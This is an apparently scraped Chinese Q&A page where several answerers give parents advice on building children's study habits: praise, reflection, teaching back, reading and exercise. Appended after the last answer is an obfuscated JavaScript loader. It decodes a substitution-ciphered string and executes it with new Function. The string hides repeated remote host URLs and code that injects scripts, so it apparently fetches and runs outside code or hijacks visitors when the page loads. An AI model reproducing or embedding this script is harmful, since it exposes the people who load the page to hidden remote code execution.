怎样才能让孩子养成良好的学习习惯?
怎样才能让孩子养成良好的学习习惯?
推荐回答(5个)
人的行为形成最大的秘密是:先定为,再装为,后变为。比如,我们希望孩子是个爱学习的人。就可以用以上三步来来实现。1.先定为:用尽一切方式说孩子是爱学习的。对孩子说他是爱学习的好孩子。对别人说他是爱学习的好孩子。平时就把他当作是爱学习的好孩子对待。2.再装为:孩子刚开始的时候,可能对你说的话莫名其妙,但是当他经常听到别人把他当作爱学习的榜样宣传时,他就可能会去尝试一下爱学习的感觉。一旦孩子有任何爱学习的表现,立即会得到他人的肯定:他果然是个爱学习的孩子。那这个孩子就会在这些人面前表现得爱学习,即使不是真的爱学习,他装也得装成爱学习的样子。周围说他爱学习的人越多,他装的范围越广;他周围说他爱学习的人坚持越长时间,他装的时间就越久。3.后变为:当这个孩子经常装成爱学习的样子,慢慢的就形成了一种习惯。他觉得他就是这样这样的人,爱学习是他本来就有的状态,于是他真的成为爱学习的好孩子了。其他的习惯也可以这样来培养。
首先,
要清楚明白,目前的孩子已经成为了准成人了,你需要像成年人一样的来对待他,就像是对待自己的好朋友、好同事一样的与孩子交流沟通。要尊重孩子的自尊心,与他建立一种亲密的平等的朋友关系。要相信孩子有独立处理事情的能力,尽可能支持他,在孩子遇到困难、失败时,应鼓励安慰,成功了要立即表扬。要有勇气向孩子请教,有勇气承认自己的过失。要学会和他平等沟通,学会认可、赞美他,不要只盯住他的缺点,更不要把缺点放大。要改变自己以往的教训式或单项灌输式的谈话方式,比如“你应该……”“必须……”“人家的孩子……你却……”等等。这样的谈话方式忽视了孩子心灵上的需求,孩子自然会“不听话”或者对抗于你了。我们需要从孩子希望父母视他为大人,尊重他的人格与意志的心愿出发,使用“我觉得……”“你觉得……”“我认为……”“你认为……”“我的建议是……”这种句型进行交流,孩子就会体验到你对他的尊重,从你与他商量的口气中体验到自己的人格价值所在,孩子就乐意向你敞开心灵之扉。
其次,要改变自己以往唠叨说教数落负面批评乃至发脾气的做法,我们每个人在日常生活之中都有这样的体验:很不喜欢被别人唠叨。一旦某个人是一个唠叨的人,那么我们就会敬而远之。在教育孩子上,也是同样的。如果爸爸或妈妈唠叨的多了,孩子就会更加的逆反和不受管教。这不但不能解决孩子存在的问题,而且还会使孩子更加的出问题。所以无论是爸爸还是妈妈的这个问题一定要彻底改变。
再次,你要知道,妈妈是孩子的一面镜子,如果孩子在妈妈这面镜子之中照到的是自己的优秀和长处,那么孩子就是自信和积极向上的,当然也是听话的;如果在妈妈这面镜子之中照到的是缺点和短处,那么孩子就是沮丧、消极的,当然孩子也是逆反的。你这个妈妈的角色是什么呢?与孩子心平气和和谐融洽的交流沟通,倾听孩子的心声,慰藉孩子的心灵,发现孩子的优点及时张口欣赏、认可、肯定、表扬、鼓励和激发孩子,这是妈妈要做的工作啊!
第四,作为孩子的妈妈在教育孩子上最需要的是运用陶行知先生的阳性强化法和“睁一只眼闭一只眼”的工作。所谓阳性强化法,就是只关心奖励,而忽视惩罚,以阳性强化为主,及时奖励正常合理行为,漠视或淡化异常行为。这种方法的基础是每个人的内心其实都希望自己所做的事情能够获取别人的赞同,并且在日常行为中不断去发扬光大自己那些经常被表扬和鼓励的行为。久而久之,便形成了良好的习惯。陶先生的方法就是让孩子发自内心的认识到了自己身上所拥有的闪光点。同时我们无需说什么,孩子就已经认识到事情该怎么去做才是正确的。“睁一只眼闭一只眼”,就是睁开的是寻找和发现孩子优点和长处的眼睛,及时的对孩子所表现出的优点和长处欣赏、认可、肯定、表扬、鼓励和激发;闭上的是挑剔孩子缺点的眼睛和唠叨、数落、说教的嘴巴。
第五,作为妈妈对男孩子就像对待自己的丈夫那样的依赖他,把自己打扮成弱者,经常请孩子帮忙做他力所能及的事儿,孩子一旦做了,无论做的好与坏,都要欣赏和表扬孩子,比如孩子做了一顿饭,你就说“味道好极了,比妈妈做得好多了”;孩子做了帮助你的事儿,你就说“有你就是不一样,真是我们家的顶梁柱”等等等等,这样就会让孩子有一种成就感,找到自信,找到自我,找到妈妈和社会对他的需要!当他找到了妈妈和社会对他的需要,他便找到了一种责任,一种幸福。
第六,你跟孩子说话的方式和发脾气一定要改变,你先看到他表现优秀的地方,立即欣赏表扬——今天做作业做的非常好,妈妈非常欣赏,你先去玩一会,我看看是不是有不小心弄错了的地方,等一会玩完了再把它改正过来,这样就非常好了
第七,孩子最反感的就是“拿自己和别人比”,日常生活中,有很多家长总是喜欢拿自己的孩子和别人的孩子比,常在孩子的面前谈论别人的孩子,口气中要么充满了对他人的羡慕之情,要么是对自己孩子的指责,这种方式无疑伤害了孩子的自信心和自尊心。希望你不要做这样的家长,你需要的是冷静地分析自己孩子的长处和短处,正确看待孩子的成绩,给孩子一个适当的评价,让孩子觉得你是理解他的、尊重他的、信任他的,这样孩子会更有动力去争取进步。面对孩子的成绩,要多从孩子自身做纵向比较,如果孩子的学习与过去相比有进步,哪怕是一丁点儿的进步,就要积极欣赏、肯定、表扬、激励和激发,这样孩子会更有动力去争取进步,这样我们就会看到孩子的发展潜力。
第八,前面我说了妈妈是孩子的一面镜子,是让孩子从这面镜子里不断照到自己的优秀之处的,这样孩子不断认识了解和发现自己的优秀,他就会越来越自信、健康、快乐的成长。妈妈要拿着放大镜发现孩子的优点和长处,发现了之后就及时张口表扬和欣赏,你希望孩子怎样,就说孩子已经怎样了。希望孩子有什么样的品质,就说孩子已经有了这样品质。比如,希望孩子爱学习,就说孩子爱看书,爱问问题;希望孩子记忆力好,就说孩子看两三遍就记住了;你希望孩子的字写得好,就说他的字比昨天好多了等等。千万别说孩子“没有记心”“笨头笨脑”“总爱撒谎”“老师不喜欢”等等。孩子一旦学习了,无论做的好与坏,都要欣赏和表扬孩子,比如孩子做完了作业,你就说“你做的真好,比妈妈强多了”;孩子读课本之后,你就立即说“读的又快又好,声音非常好听”
以上仅是个人的一些意见和建议,你的朋友杨永龙请你批评参考。
有一些底层的学习方式孩子必须要建立起来,因为这是他学习任何事物的基础,只有基础夯实,金字塔结构才牢固。

1、反思:从小事入手的反思,让孩子思考自己本身的原因
小事入手,会加强孩子的回忆,而且孩子自己亲身体验过,所以更有感觉,突破起来会更快。
我们要引导孩子学会反思,反思不是根据结果的好坏进行分析,而是对产生结果的原因进行分析。
反思的顺序:观察结果-研究原先假设-反思校正假设。
观察结果: 孩子上幼儿园回来跟小朋友闹翻了,不开心 研究原先假设:老师批评了(假设1)、老师没关注(假设2)、小朋友不理他了(假设3) 反思校正假设:你觉得哪个假设最重要呢?我们可以如何改进?
做这样的反思,会让孩子更有动力去接触新的知识,从而内化成能力,接着就可以落实行动了。这个假设会让孩子了解到问题是归结于自己,事情没有错,是方法有问题。

2、教是最有效率的方式
学习金字塔告诉我们,教是最好的方式,吸收效率高达90%以上。孩子怎么教呢?多做各种输出
讲故事:让孩子把今天看到的绘本中的故事讲给你听,都有什么样的启发,最喜欢哪个部分,为什么;
晚上分享会:家庭成员把今天一天的心得和感受在分享会上交流; 写日记:刚开始肯定是流水账,但慢慢的可以让孩子分类出模块总结,提炼重点;
定期做主题演讲:围绕一个话题,家庭成员各自准备孩子能够理解的内容,陪伴孩子一起演讲等等

以教为学有三个关键:让孩子教之前要养成去查找资料、阅读书籍的习惯;去关注那些与自己观点相反的案例或者看看其他不同的观点;学会去区别观点和事实。
微信公众号:Cissy育儿思考
根据我个人的经验,我认为培养小学生良好学习习惯应当从以下三方面来进行。
一、重视培养孩子的注意力。注意力集中是搞好学习的前提,可想而知,如果上课不专心听讲,就不可能听得到老师讲的内容,许多小学生都有上课不集中的现象,这种情况发生的因素是多方面的,比如父母吵架、孩子心情身体不好、多吃垃圾食品、与好动的孩子玩得多和看了许多打斗片等。孩子好动从某方面来说也是好事,说事这个孩子很聪明,脑子活跃,如果一个孩子呆滞不动,可想而知这个孩子的智商可能有问题的。家长和老师应当正确引导孩子把注意力注意到学习上来,有的孩子喜欢搭积木、玩拼图游戏、玩诸如jint的全脑记忆力图片训练游戏、阅读绘本书籍和看有益身心的动画片等,这些都是好现象,孩子玩的时候,不要打扰孩子,这样做孩子注意力会不集中。还要鼓励孩子吃饭时不要看书,专心致志地做好每一件事,不要一心二用。
二、要培养孩子喜欢阅读。平时可以多领孩子到图书馆或者书店。比如德国图书馆针对零岁至3岁、4岁至6岁以及7岁以上各个年龄阶段儿童的不同身心特点,开展了许多富有创意的阅读活动。例如,哈赫曼女士所负责的图书馆每年组织小学低年级的孩子参加“海盗导游”图书馆“寻宝”的活动。在快乐的游戏气氛中,孩子们熟悉了图书馆的地理环境和各项服务设施,消除了对图书馆的陌生感。高年级的孩子则可以整个班级一起参加“阅读之夜”,孩子们要在图书馆里过夜,在烛光中进行勇气测试,一起完成小型任务,并可以一直阅读直到入睡。
三、要多鼓励孩子锻炼身体。锻炼身体是搞好学习的重要保证,可想而知,一个身体健康有问题的小学生,注意力没有办法集中到学习上,也没有精力搞好学习。因此,家长多带孩子到郊外郊游,感受大自然的气息,参加诸如乒乓球、羽毛球、足球和篮球等体育运动,把孩子的身体锻炼得很强壮,这样孩子也会开心地去学习了。
从娃娃抓起,这个东西需要慢慢培养,从一些小事做起,生活作息习惯,和孩子的性格都有关系,我个人比较推崇成凤先成人,培养他自我管理的能力,学会自律,提高他的个人认知以及格局,以引导的形式教学,用发现的眼光欣赏的态度引导,养成一种习惯比什么都难,更多的是要靠他自己,家长能做到就是引导方向,让他多经历一些事情,人生因为经历丰富而懂得,让他慢慢学会独立自主,形成一个自我管理的个人体系,在这个过程中他会形成自己学习的习惯。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();